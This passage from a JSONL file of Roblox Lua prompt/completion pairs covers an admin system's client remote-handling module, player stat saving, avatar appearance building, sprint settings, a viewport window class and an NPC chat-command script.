Core.LoadCode(code, GetEnv())\n\t\t\t\tif func then\n\t\t\t\t\treturn func()\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tFunction = function(args)\n\t\t\t\tlocal func = client.Functions[args[1]]\n\t\t\t\tif func and type(func) == \"function\" then\n\t\t\t\t\treturn func(unpack(args, 2))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\t\n\t\t\tHandler = function(args)\n\t\t\t\tlocal handler = client.Handlers[args[1]]\n\t\t\t\tif handler and type(handler) == \"function\" then\n\t\t\t\t\treturn handler(unpack(args, 2))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tUIKeepAlive = function(args)\n\t\t\t\tif Variables.UIKeepAlive then\n\t\t\t\t\tfor ind,g in next,client.GUIs do\n\t\t\t\t\t\tif g.KeepAlive then\n\t\t\t\t\t\t\tif g.Class == \"ScreenGui\" or g.Class == \"GuiMain\" then\n\t\t\t\t\t\t\t\tg.Object.Parent = service.Player.PlayerGui\n\t\t\t\t\t\t\telseif g.Class == \"TextLabel\" then\n\t\t\t\t\t\t\t\tg.Object.Parent = UI.GetHolder()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tg.KeepAlive = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn true;\n\t\t\tend;\n\t\t\t\n\t\t\tUI = function(args)\n\t\t\t\tlocal guiName = args[1]\n\t\t\t\tlocal themeData = args[2]\n\t\t\t\tlocal guiData = args[3]\n\t\t\t\t\n\t\t\t\tVariables.LastServerTheme = themeData or Variables.LastServerTheme;\n\t\t\t\treturn UI.Make(guiName, guiData, themeData)\n\t\t\tend;\n\t\t\t\n\t\t\tInstanceList = function(args)\n\t\t\t\tlocal objects = service.GetAdonisObjects()\n\t\t\t\tlocal temp = {}\n\t\t\t\tfor i,v in next,objects do\n\t\t\t\t\ttable.insert(temp, {\n\t\t\t\t\t\tText = v:GetFullName();\n\t\t\t\t\t\tDesc = v.ClassName;\n\t\t\t\t\t})\n\t\t\t\tend\n\t\t\t\treturn temp\n\t\t\tend;\n\t\t\t\n\t\t\tClientLog = function(args)\n\t\t\t\tlocal temp={}\n\t\t\t\tlocal function toTab(str, desc, color)\n\t\t\t\t\tfor i,v in next,service.ExtractLines(str) do\n\t\t\t\t\t\ttable.insert(temp,{Text = v,Desc = desc..v, Color = color})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tfor i,v in next,service.LogService:GetLogHistory()do\n\t\t\t\t\tif v.messageType==Enum.MessageType.MessageOutput then\n\t\t\t\t\t\ttoTab(v.message, \"Output: \")\n\t\t\t\t\t\t--table.insert(temp,{Text=v.message,Desc='Output: '..v.message})\n\t\t\t\t\telseif v.messageType==Enum.MessageType.MessageWarning then\n\t\t\t\t\t\ttoTab(v.message, \"Warning: \", Color3.new(1,1,0))\n\t\t\t\t\t\t--table.insert(temp,{Text=v.message,Desc='Warning: '..v.message,Color=Color3.new(1,1,0)})\n\t\t\t\t\telseif v.messageType==Enum.MessageType.MessageInfo then\n\t\t\t\t\t\ttoTab(v.message, \"Info: \", Color3.new(0,0,1))\n\t\t\t\t\t\t--table.insert(temp,{Text=v.message,Desc='Info: '..v.message,Color=Color3.new(0,0,1)})\n\t\t\t\t\telseif v.messageType==Enum.MessageType.MessageError then\n\t\t\t\t\t\ttoTab(v.message, \"Error: \", Color3.new(1,0,0))\n\t\t\t\t\t\t--table.insert(temp,{Text=v.message,Desc='Error: '..v.message,Color=Color3.new(1,0,0)})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn temp\n\t\t\tend\n\t\t};\n\t\t\n\t\tUnEncrypted = {\n\t\t\tLightingChange = function(prop,val)\n\t\t\t\tprint(prop,\"TICKLE ME!?\")\n\t\t\t\tVariables.LightingChanged = true\n\t\t\t\tservice.Lighting[prop] = val\n\t\t\t\tAnti.LastChanges.Lighting = prop\n\t\t\t\twait(.1)\n\t\t\t\tVariables.LightingChanged = false\n\t\t\t\tprint(\"TICKLED :)\",Variables.LightingChanged)\n\t\t\t\tif Anti.LastChanges.Lighting == prop then\n\t\t\t\t\tAnti.LastChanges.Lighting = nil\n\t\t\t\tend\n\t\t\tend\n\t\t};\n\t\t\n\t\tCommands = {\n\t\t\tGetReturn = function(args)\n\t\t\t\tprint(\"THE SERVER IS ASKING US FOR A RETURN\");\n\t\t\t\tlocal com = args[1]\n\t\t\t\tlocal key = args[2]\n\t\t\t\tlocal parms = {unpack(args,3)}\n\t\t\t\tlocal retfunc = Remote.Returnables[com]\n\t\t\t\tlocal retable = (retfunc and {pcall(retfunc,parms)}) or {}\n\t\t\t\tif retable[1] ~= true then\n\t\t\t\t\tlogError(retable[2])\n\t\t\t\t\tRemote.Send(\"GiveReturn\", key, \"__ADONIS_RETURN_ERROR\", retable[2])\n\t\t\t\telse\n\t\t\t\t\tprint(\"SENT RETURN\");\n\t\t\t\t\tRemote.Send(\"GiveReturn\", key, unpack(retable,2))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tGiveReturn = function(args)\n\t\t\t\tprint(\"SERVER GAVE US A RETURN\")\n\t\t\t\tif Remote.PendingReturns[args[1]] then\n\t\t\t\t\tprint(\"VALID PENDING RETURN\")\n\t\t\t\t\tRemote.PendingReturns[args[1]] = nil\n\t\t\t\t\tservice.Events[args[1]]:fire(unpack(args,2))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tSetVariables = function(args)\n\t\t\t\tlocal vars = args[1]\n\t\t\t\tfor var,val in next,vars do\n\t\t\t\t\tVariables[var] = val\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tPrint = function(args)\n\t\t\t\tprint(unpack(args))\n\t\t\tend;\n\t\t\t\n\t\t\tFireEvent = function(args)\n\t\t\t\tservice.FireEvent(unpack(args))\n\t\t\tend;\n\t\t\t\n\t\t\tTest = function(args)\n\t\t\t\tprint(\"OK WE GOT COMMUNICATION! ORGL: \"..tostring(args[1]))\n\t\t\tend;\n\t\t\t\n\t\t\tTestError = function(args)\n\t\t\t\terror(\"THIS IS A TEST ERROR\")\n\t\t\tend;\n\t\t\t\n\t\t\tTestEvent = function(args)\n\t\t\t\tRemote.PlayerEvent(args[1],unpack(args,2))\n\t\t\tend;\n\t\t\t\n\t\t\tLoadCode = function(args)\n\t\t\t\tlocal code = args[1]\n\t\t\t\tlocal func = Core.LoadCode(code, GetEnv())\n\t\t\t\tif func then\n\t\t\t\t\treturn func()\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tLaunchAnti = function(args)\n\t\t\t\tAnti.Launch(args[1],args[2])\n\t\t\tend;\n\t\t\t\n\t\t\tUI = function(args)\n\t\t\t\tlocal guiName = args[1]\n\t\t\t\tlocal themeData = args[2]\n\t\t\t\tlocal guiData = args[3]\n\t\t\t\t\n\t\t\t\tVariables.LastServerTheme = themeData or Variables.LastServerTheme;\n\t\t\t\tUI.Make(guiName,guiData,themeData)\n\t\t\tend;\n\t\t\t\n\t\t\tRemoveUI = function(args)\n\t\t\t\tUI.Remove(args[1],args[2])\n\t\t\tend;\n\t\t\t\n\t\t\tStartLoop = function(args)\n\t\t\t\tlocal name = args[1]\n\t\t\t\tlocal delay = args[2]\n\t\t\t\tlocal code = args[3]\n\t\t\t\tlocal func = Core.LoadCode(code, GetEnv())\n\t\t\t\tif name and delay and code and func then\n\t\t\t\t\tservice.StartLoop(name,delay,func)\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tStopLoop = function(args)\n\t\t\t\tservice.StopLoop(args[1])\n\t\t\tend;\n\t\t\t\n\t\t\tFunction = function(args)\n\t\t\t\tlocal func = client.Functions[args[1]]\n\t\t\t\tif func and type(func) == \"function\" then\n\t\t\t\t\tPcall(func,unpack(args,2))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tHandler = function(args)\n\t\t\t\tlocal handler = client.Handlers[args[1]]\n\t\t\t\tif handler and type(handler) == \"function\" then\n\t\t\t\t\tPcall(handler, unpack(args, 2))\n\t\t\t\tend\n\t\t\tend\n\t\t};\n\t\t\n\t\tFire = function(...)\n\t\t\tlocal limits = Process.RateLimits\n\t\t\tlocal limit = (limits and limits.Remote) or 0.01;\n\t\t\tlocal RemoteEvent = Core.RemoteEvent;\n\t\t\tlocal extra = {...};\n\t\t\t\n\t\t\tif RemoteEvent and RemoteEvent.Object then\n\t\t\t\tservice.Queue(\"REMOTE_SEND\", function()\n\t\t\t\t\tRemote.Sent = Remote.Sent+1;\n\t\t\t\t\tRemoteEvent.Object:FireServer({Mode = \"Fire\", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));\n\t\t\t\t\twait(limit);\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\t\t\n\t\tSend = function(com,...)\n\t\t\tCore.LastUpdate = tick()\n\t\t\tRemote.Fire(Remote.Encrypt(com,Core.Key),...)\n\t\tend;\n\t\t\n\t\tGetFire = function(...)\n\t\t\tlocal RemoteEvent = Core.RemoteEvent;\n\t\t\tlocal limits = Process.RateLimits;\n\t\t\tlocal limit = (limits and limits.Remote) or 0.02;\n\t\t\tlocal extra = {...};\n\t\t\tlocal returns;\n\t\t\t\n\t\t\tif RemoteEvent and RemoteEvent.Function then\n\t\t\t\tlocal event = service.New(\"BindableEvent\");\n\t\t\t\t\n\t\t\t\tservice.Queue(\"REMOTE_SEND\", function()\n\t\t\t\t\tRemote.Sent = Remote.Sent+1;\n\t\t\t\t\tspawn(function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed;\n\t\t\t\t\t\treturns = {RemoteEvent.Function:InvokeServer({Mode = \"Get\", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra))}\n\t\t\t\t\t\tevent:Fire();\n\t\t\t\t\tend)\n\t\t\t\t\twait(limit)\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tif not returns then\n\t\t\t\t\tevent.Event:Wait();\n\t\t\t\t\tevent:Destroy();\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif returns then\n\t\t\t\t\treturn unpack(returns)\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tGet = function(com,...)\n\t\t\tCore.LastUpdate = tick()\n\t\t\tlocal ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...)\n\t\t\tif type(ret) == \"table\" then\n\t\t\t\treturn unpack(ret);\n\t\t\telse\n\t\t\t\treturn ret;\n\t\t\tend\n\t\tend;\n\t\t\n\t\tOldGet = function(com,...)\n\t\t\tlocal returns\n\t\t\tlocal key = Functions:GetRandom()\n\t\t\tlocal waiter = service.New(\"BindableEvent\");\n\t\t\tlocal event = service.Events[key]:Connect(function(...) print(\"WE ARE GETTING A RETURN!\") returns = {...} waiter:Fire() wait() waiter:Fire() waiter:Destroy() end)\n\t\t\t\n\t\t\tRemote.PendingReturns[key] = true\n\t\t\tRemote.Send(\"GetReturn\",com,key,...)\n\t\t\tprint(string.format(\"GETTING RETURNS? %s\", tostring(returns)))\n\t\t\t--returns = returns or {event:Wait()}\n\t\t\twaiter.Event:Wait();\n\t\t\tprint(string.format(\"WE GOT IT! %s\", tostring(returns)))\n\t\t\t\n\t\t\tevent:Disconnect()\n\t\t\t\n\t\t\tif returns then\n\t\t\t\tif returns[1] == \"__ADONIS_RETURN_ERROR\" then\n\t\t\t\t\terror(returns[2])\n\t\t\t\telse\n\t\t\t\t\treturn unpack(returns)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend;\n\t\t\n\t\tPing = function()\n\t\t\tlocal t = tick()\n\t\t\tlocal ping = Remote.Get(\"Ping\")\n\t\t\tif not ping then return false end\n\t\t\tlocal t2 = tick()\n\t\t\tlocal mult = 10^3\n\t\t\tlocal ms = ((math.floor((t2-t)*mult+0.5)/mult)*100)\n\t\t\treturn ms\n\t\tend;\n\t\t\n\t\tPlayerEvent = function(event,...)\n\t\t\tRemote.Send(\"PlayerEvent\",event,...)\n\t\tend;\n\t\t\n\t\tEncrypt = function(str, key, cache)\n\t\t\tlocal cache = cache or Remote.EncodeCache or {}\n\t\t\tif not key or not str then \n\t\t\t\treturn str\n\t\t\telseif cache[key] and cache[key][str] then\n\t\t\t\treturn cache[key][str]\n\t\t\telse\n\t\t\t\tlocal keyCache = cache[key] or {}\n\t\t\t\tlocal byte = string.byte\n\t\t\t\tlocal abs = math.abs\n\t\t\t\tlocal sub = string.sub\n\t\t\t\tlocal len = string.len\n\t\t\t\tlocal char = string.char\n\t\t\t\tlocal endStr = {}\n\t\t\t\t\n\t\t\t\tfor i = 1,len(str) do\n\t\t\t\t\tlocal keyPos = (i%len(key))+1\n\t\t\t\t\tendStr[i] = string.char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tendStr = table.concat(endStr)\n\t\t\t\tcache[key] = keyCache\n\t\t\t\tkeyCache[str] = endStr\n\t\t\t\treturn endStr\n\t\t\tend\n\t\tend;\n\t\t\n\t\tDecrypt = function(str, key, cache)\n\t\t\tlocal cache = cache or Remote.DecodeCache or {}\n\t\t\tif not key or not str then \n\t\t\t\treturn str \n\t\t\telseif cache[key] and cache[key][str] then\n\t\t\t\treturn cache[key][str]\n\t\t\telse\n\t\t\t\tlocal keyCache = cache[key] or {}\n\t\t\t\tlocal byte = string.byte\n\t\t\t\tlocal abs = math.abs\n\t\t\t\tlocal sub = string.sub\n\t\t\t\tlocal len = string.len\n\t\t\t\tlocal char = string.char\n\t\t\t\tlocal endStr = {}\n\t\t\t\t\n\t\t\t\tfor i = 1,len(str) do\n\t\t\t\t\tlocal keyPos = (i%len(key))+1\n\t\t\t\t\tendStr[i] = string.char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tendStr = table.concat(endStr)\n\t\t\t\tcache[key] = keyCache\n\t\t\t\tkeyCache[str] = endStr\n\t\t\t\treturn endStr\n\t\t\tend\n\t\tend;\n\t}\nend\n"} +{"prompt": "--[[\n\tCLIMAXIMUS's Saving Script.\n\tEquipped with the best of scripting.\n\t( Must be put in ServerScriptService(Reccomended!) or workspace. )\n]]", "completion": "--\n\ngameStats = { --[[ <-- Player can save his stats on command ]]\n\t[\"DoChat?\"] = {\n\t\t[\"DoIt?\"] = true;\n\t\t[\"Keywords\"] = {\n\t\t\t\"/save\"; \"/ save\"; \n\t\t\t\":save\"; \": save\"\n\t\t}\n\t}; \n\t[\"DoMessages?\"] = true; --[[ <-- Reminder of saving/loading ]]\n\t[\"IsAnObby?\"] = false; --[[ <-- Respawns the character to fix loading ]]\n\tsaveType = {\n\t\t[\"Normal?\"] = true; --[[ <-- Set to false if other ]]\n\t\t[\"SavingList?\"] = { --[[ <-- Specific wanted admins ]]\n\t\t\t[\"DoIt?\"] = false;\n\t\t\ttheList = {\n\t\t\t\t\"Name1\";\n\t\t\t\t\"Name2\";\n\t\t\t\t\"Name3\"\n\t\t\t}\n\t\t};\n\t\t[\"BestFriends?\"] = false; --[[ <-- Best friends of your's only. ]]\n\t\t[\"Friends?\"] = false; --[[ <-- Friends of your's only. ]]\n\t\t[\"OwnerOnly?\"] = false; --[[ <-- Only you have saving stats ]]\n\t\t[\"Gamepass?\"] = { --[[ <-- Needs a gamepass to save ]]\n\t\t\t[\"DoIt?\"] = false;\n\t\t\t[\"GamepassId\"] = 000000\n\t\t};\n\t\t[\"Asset/Item?\"] = { --[[ Such as a T-Shirt ]]\n\t\t\t[\"DoIt?\"] = false;\n\t\t\t[\"AssetId\"] = 000000\n\t\t}\n\t};\n}\n"} +{"prompt": "-- theres gotta be a better way", "completion": "\nlocal function getHumanoidDescriptionFromCharacterAppearance(characterAppearanceInfo)\n\tlocal humanoidDescription = Instance.new(\"HumanoidDescription\")\n\thumanoidDescription.BodyTypeScale = characterAppearanceInfo.scales.bodyType\n\thumanoidDescription.DepthScale = characterAppearanceInfo.scales.depth\n\thumanoidDescription.HeadScale = characterAppearanceInfo.scales.head\n\thumanoidDescription.HeightScale = characterAppearanceInfo.scales.height\n\thumanoidDescription.ProportionScale = characterAppearanceInfo.scales.proportion \n\thumanoidDescription.WidthScale = characterAppearanceInfo.scales.width\n\thumanoidDescription.HeadColor = BrickColor.new(characterAppearanceInfo.bodyColors.headColorId).Color\n\thumanoidDescription.LeftArmColor = BrickColor.new(characterAppearanceInfo.bodyColors.leftArmColorId).Color\n\thumanoidDescription.LeftLegColor = BrickColor.new(characterAppearanceInfo.bodyColors.leftLegColorId).Color\n\thumanoidDescription.RightArmColor = BrickColor.new(characterAppearanceInfo.bodyColors.rightArmColorId).Color\n\thumanoidDescription.RightLegColor = BrickColor.new(characterAppearanceInfo.bodyColors.rightLegColorId).Color\n\thumanoidDescription.TorsoColor = BrickColor.new(characterAppearanceInfo.bodyColors.torsoColorId).Color\n\tfor i, asset in ipairs(characterAppearanceInfo.assets) do\n\t\tif asset.assetType.name == \"Hat\" then\n\t\t\thumanoidDescription.HatAccessory = humanoidDescription.HatAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"BackAccessory\" or asset.assetType.name == \"Back Accessory\" then\n\t\t\thumanoidDescription.BackAccessory = humanoidDescription.BackAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"FaceAccessory\" or asset.assetType.name == \"Face Accessory\" then\n\t\t\thumanoidDescription.FaceAccessory = humanoidDescription.FaceAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"FrontAccessory\" or asset.assetType.name == \"Front Accessory\" then\n\t\t\thumanoidDescription.FrontAccessory = humanoidDescription.FrontAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"HairAccessory\" or asset.assetType.name == \"Hair Accessory\" then\n\t\t\thumanoidDescription.HairAccessory = humanoidDescription.HairAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"NeckAccessory\" or asset.assetType.name == \"Neck Accessory\" then\n\t\t\thumanoidDescription.NeckAccessory = humanoidDescription.NeckAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"ShoulderAccessory\" or asset.assetType.name == \"Shoulder Accessory\" then\n\t\t\thumanoidDescription.ShouldersAccessory = humanoidDescription.ShouldersAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"WaistAccessory\" or asset.assetType.name == \"Waist Accessory\" then\n\t\t\thumanoidDescription.WaistAccessory = humanoidDescription.WaistAccessory .. \",\" .. asset.id\n\t\telseif asset.assetType.name == \"Face\" then\n\t\t\thumanoidDescription.Face = asset.id\n\t\telseif asset.assetType.name == \"Shirt\" then\n\t\t\thumanoidDescription.Shirt = asset.id\n\t\telseif asset.assetType.name == \"Pants\" then\n\t\t\thumanoidDescription.Pants = asset.id\n\t\telseif asset.assetType.name == \"Head\" then\n\t\t\thumanoidDescription.Head = asset.id\n\t\telseif asset.assetType.name == \"LeftArm\" or asset.assetType.name == \"Left Arm\" then\n\t\t\thumanoidDescription.LeftArm = asset.id\n\t\telseif asset.assetType.name == \"LeftLeg\" or asset.assetType.name == \"Left Leg\" then\n\t\t\thumanoidDescription.LeftLeg = asset.id\n\t\telseif asset.assetType.name == \"RightArm\" or asset.assetType.name == \"Right Arm\" then\n\t\t\thumanoidDescription.RightArm = asset.id\n\t\telseif asset.assetType.name == \"RightLeg\" or asset.assetType.name == \"Right Leg\" then\n\t\t\thumanoidDescription.RightLeg = asset.id\n\t\telseif asset.assetType.name == \"Torso\" then\n\t\t\thumanoidDescription.Torso = asset.id\n\t\telseif asset.assetType.name == \"ClimbAnimation\" or asset.assetType.name == \"Climb Animation\" then\n\t\t\thumanoidDescription.ClimbAnimation = asset.id\n\t\telseif asset.assetType.name == \"FallAnimation\" or asset.assetType.name == \"Fall Animation\" then\n\t\t\thumanoidDescription.FallAnimation = asset.id\n\t\telseif asset.assetType.name == \"IdleAnimation\" or asset.assetType.name == \"Idle Animation\" then\n\t\t\thumanoidDescription.IdleAnimation = asset.id\n\t\telseif asset.assetType.name == \"JumpAnimation\" or asset.assetType.name == \"Jump Animation\" then\n\t\t\thumanoidDescription.JumpAnimation = asset.id\n\t\telseif asset.assetType.name == \"RunAnimation\" or asset.assetType.name == \"Run Animation\" then\n\t\t\thumanoidDescription.RunAnimation = asset.id\n\t\telseif asset.assetType.name == \"SwimAnimation\" or asset.assetType.name == \"Swim Animation\" then\n\t\t\thumanoidDescription.SwimAnimation = asset.id\n\t\telseif asset.assetType.name == \"WalkAnimation\" or asset.assetType.name == \"Walk Animation\" then\n\t\t\thumanoidDescription.WalkAnimation = asset.id\n\t\tend\n\tend\n\tif humanoidDescription.Shirt == 0 then\n\t\thumanoidDescription.Shirt = 855777286\n\tend\n\tif humanoidDescription.Pants == 0 then\n\t\thumanoidDescription.Pants = 855782781\n\tend\n\treturn humanoidDescription\nend\n\nlocal function playerAdded(player)\n\tlocal function characterAdded(character)\n\t\tlocal characterAppearanceInfo = playerWearingAssets[player]\n\t\tif characterAppearanceInfo then\n\t\t\tlocal humanoid = character:FindFirstChildWhichIsA(\"Humanoid\") or character:WaitForChild(\"Humanoid\")\n\t\t\tlocal humanoidDescription = getHumanoidDescriptionFromCharacterAppearance(characterAppearanceInfo)\n\t\t\tif not humanoid or not humanoid:IsDescendantOf(workspace) then\n\t\t\t\thumanoid.AncestryChanged:Wait()\n\t\t\tend\n\t\t\tif humanoid.Health > 0 and humanoidDescription then\n\t\t\t\tpcall(function()\n\t\t\t\t\thumanoid:ApplyDescription(humanoidDescription)\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tcharacterAdded(player.Character or player.CharacterAdded:Wait())\n\t\n\tlocal characterAppearanceInfo\n\tpcall(function()\n\t\tcharacterAppearanceInfo = Players:GetCharacterAppearanceInfoAsync(player.UserId)\n\tend)\n\tplayerWearingAssets[player] = characterAppearanceInfo or {}\n\t\n\tplayer.CharacterAdded:Connect(characterAdded)\nend\n\nlocal function playerRemoved(player)\n\tif playerWearingAssets[player] then\n\t\tplayerWearingAssets[player] = nil\n\tend\nend\n\nfor i, enumItem in ipairs(Enum.AssetType:GetEnumItems()) do\n\tAssetTypeEnumLookup[enumItem.Value] = enumItem\nend\n\nfor i, player in ipairs(Players:GetPlayers()) do\n\tcoroutine.wrap(playerAdded)(player)\nend\n\nPlayers.PlayerAdded:Connect(playerAdded)\nPlayers.PlayerRemoving:Connect(playerRemoved)\nremoteEvent.OnServerEvent:Connect(onServerEvent)\n"} +{"prompt": "--- LuckP", "completion": "\n ExpNeed.Value = ExpNeed1:GetAsync(Plr.UserId) or ExpNeed.Value\n\t ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value)\n ExpNeed.Changed:connect(function()\n\t ExpNeed1:SetAsync(Plr.UserId, ExpNeed.Value)\n end)"} +{"prompt": "--\tgame.workspace.Scripts.WaveScript.Dead_Zombies.Value = game.workspace.Scripts.WaveScript.Dead_Zombies.Value + 1", "completion": "\n\twait(15)\n\thuman.Parent:Destroy()\nend \n\nhuman.Died:connect(Die)\n"} +{"prompt": "-- services", "completion": "\n\nlocal ServerScriptService\t= game:GetService(\"ServerScriptService\")\nlocal ReplicatedStorage\t\t= game:GetService(\"ReplicatedStorage\")\nlocal RunService\t\t\t= game:GetService(\"RunService\")\nlocal Workspace\t\t\t\t= game:GetService(\"Workspace\")\nlocal Players\t\t\t\t= game:GetService(\"Players\")\n"} +{"prompt": "--Permission is hereby granted, free of charge, to any person \n--obtaining a copy of this software to deal in the Software without \n--restriction, including without limitation the rights to use, \n--copy, modify, merge, publish, distribute, sublicense, and/or \n--sell copies of the Software, and to permit persons to whom the \n--Software is furnished to do so, subject to the following conditions:", "completion": "\n"} +{"prompt": "--Editable--", "completion": "\nlocal ID = 10862419793 --Your animation ID!--\nlocal RunningSpeed = 25 --Running speed--\nlocal NormalSpeed = 16 --Normal speed/walkspeed--\nlocal FieldOfView = 100 --Field of view when running--\nlocal key = \"LeftShift\" --Sprint/Run key--\n"} +{"prompt": "-- Contructors", "completion": "\n\nfunction ViewportWindow.new(surfaceGUI)\n\tlocal self = setmetatable({}, ViewportWindow)\n\t\n\tself.SurfaceGUI = surfaceGUI\n\tself.Camera = Instance.new(\"Camera\", surfaceGUI)\n\tself.ViewportFrame = VPF:Clone()\n\tself.ViewportFrame.Name = \"WorldFrame\"\n\tself.ViewportFrame.ZIndex = 2\n\tself.ViewportFrame.LightDirection = -game.Lighting:GetSunDirection()\n\tself.ViewportFrame.CurrentCamera = self.Camera\n\tself.ViewportFrame.Parent = surfaceGUI\n\t\n\tself.SkyboxFrame = VPF:Clone()\n\tself.SkyboxFrame.Name = \"SkyboxFrame\"\n\tself.SkyboxFrame.ZIndex = 1\n\tself.SkyboxFrame.Ambient = Color3.new(1, 1, 1)\n\tself.SkyboxFrame.LightColor = Color3.new(0, 0, 0)\n\tself.SkyboxFrame.CurrentCamera = self.Camera\n\tself.SkyboxFrame.Parent = surfaceGUI\n\t\n\treturn self\nend\n\nfunction ViewportWindow.fromPart(part, normalId, parent)\n\tlocal surfaceGUI = Instance.new(\"SurfaceGui\")\n\tsurfaceGUI.Face = normalId\n\tsurfaceGUI.CanvasSize = Vector2.new(1024, 1024)\n\tsurfaceGUI.SizingMode = Enum.SurfaceGuiSizingMode.FixedSize\n\tsurfaceGUI.Adornee = part\n\tsurfaceGUI.ClipsDescendants = true\n\tsurfaceGUI.Parent = parent\n\t\n\treturn ViewportWindow.new(surfaceGUI)\nend\n"} +{"prompt": "--[[\n\nINSTRUCTIONS\n\nEvery node has a priority value. It is the number that is displayed on the top right corner of the node. This is what is used to select which node the condition unlocks.\n\nTo select a node with a condition, you must return a number equal to the target node's priority. For example:\n\nLet's say I had two prompt nodes both with different priorities. One has a priority of 1, and the other a priority of 2. Now let's say I wanted the condition to unlock one or the other randomly.\nIn that case, I would simply return math.random(1,2) inside the Module.Run() function.\n\nNote: Condition nodes connect from the primary output to inputs.\n\n]]", "completion": "\n\nfunction Condition.Run()\n\treturn 1 --Selects a node with a priority of 1\nend\n\nreturn Condition\n"} +{"prompt": "-------------------true/false finders-------------------", "completion": "\nif(vParts.Values.Light.Value == false) then\nPS.Light.Text = \" Lights: Off\"\nend\nif(vParts.Values.Light.Value == true) then\nPS.Light.Text = \" Lights: On\"\nend"} +{"prompt": "-- connect events\n-----------------------------------------------------------------------------------------------------------------------", "completion": "\n\nfunction unequip()\n\tlocal items=script.Parent:children()\n\tfor i=1, #items do\n\t\tif items[i].className==\"Tool\" then items[i]:remove() end\n\tend\nend\n\nfunction onChatted(msg, recipient) \n\tmsg = string.lower(msg)\n\n\tif string.match(msg, string.lower(script.Parent.Name))~=nil or string.match(msg, \"everyone\") then\n\t\tif string.match(msg, \"equip\") then \n\t\t\tif game.Workspace:findFirstChild(\"Hub\") then\n\t\t\t\tif string.match(msg, \"rocket\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Rocket:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"slingshot\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Slingshot:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"sword\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Sword:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"pbg\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.PBG:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"superball\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Superball:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"trowel\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Trowel:clone().Parent=script.Parent\n\t\t\t\telseif string.match(msg, \"bomb\") then unequip()\n\t\t\t\t\tgame.Workspace.Hub.Bomb:clone().Parent=script.Parent\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif string.match(msg, \"unequip\") then unequip() end\n\t\tif string.match(msg, \"run\") then onRunning(1) end\n\t\tif string.match(msg, \"climb\") then onClimbing() end\n\t\tif string.match(msg, \"jump\") then onJumping() end\n\t\tif string.match(msg, \"zombie\") then pose=\"Zombie\" end\n\t\tif string.match(msg, \"disco\") then pose=\"Boogy\" end\n\t\tif string.match(msg, \"float\") then pose=\"Float\" end\n\t\tif string.match(msg, \"punch\") then pose=\"Punch\" end\n\t\tif string.match(msg, \"kick\") then pose=\"Kick\" end\n\t\tif string.match(msg, \"fly\") then pose=\"Fly\" end\n\t\tif string.match(msg, \"heal\") then script.Parent.Humanoid.Health=script.Parent.Humanoid.MaxHealth end\n\t\tif string.match(msg, \"defend\") then defence() end\n\t\tif string.match(msg, \"stop\") then pose=\"Standing\"; proxkill=false; following=false; stopmoving() end\n\t\tif string.match(msg, \"go home\") then following=false; gohome() end\n\t\tif string.match(msg, \"follow\") then\n\t\t\tif string.match(msg, \"all\") then\n\t\t\t\tfollowany()\n\t\t\telse\n\t\t\t\tlocal egg=game.Players:children()\n\t\t\t\tfor i=1, #egg do\n\t\t\t\t\tif string.match(msg, string.lower(egg[i].Name)) then\n\t\t\t\t\t\tfollow(egg[i].Name)\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif string.match(msg, \"kill\") then\n\t\t\tif string.match(msg, \"all\") then\n\t\t\t\tattackany()\n\t\t\telse\n\t\t\t\tlocal egg=game.Players:children()\n\t\t\t\tfor i=1, #egg 